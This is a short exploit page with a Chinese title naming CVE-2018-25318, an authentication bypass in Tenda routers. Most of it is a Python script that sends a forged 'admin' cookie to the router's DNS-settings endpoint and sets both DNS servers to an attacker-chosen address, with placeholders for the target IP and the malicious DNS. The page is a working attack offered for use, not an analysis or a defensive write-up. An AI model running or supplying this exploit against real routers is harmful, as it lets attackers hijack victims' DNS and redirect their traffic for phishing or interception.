CVE-2018-25318 Tenda路由器认证绕过导致DNS劫持漏洞

import requests def exploit_dns_change(target_ip, malicious_dns): """ Exploit CVE-2018-25318: Change DNS settings on Tenda routers. """ url = f"http://{target_ip}/goform/AdvSetDns" # Crafted cookie to bypass authentication (Session Weakness) cookies = { "admin": "admin" # Weak validation allows simple cookies to act as authenticated session } # Parameters to set the DNS params = { "GO": "as_dns_set", "DYNAMIC_DNS": "0", "DNS1": malicious_dns, "DNS2": malicious_dns } try: response = requests.get(url, params=params, cookies=cookies, timeout=5) if response.status_code == 200: print(f"[+] Success: DNS changed to {malicious_dns}") else: print(f"[-] Failed: Status code {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "192.168.0.1" # Replace with target IP dns = "8.8.8.8" # Replace with malicious DNS exploit_dns_change(target, dns)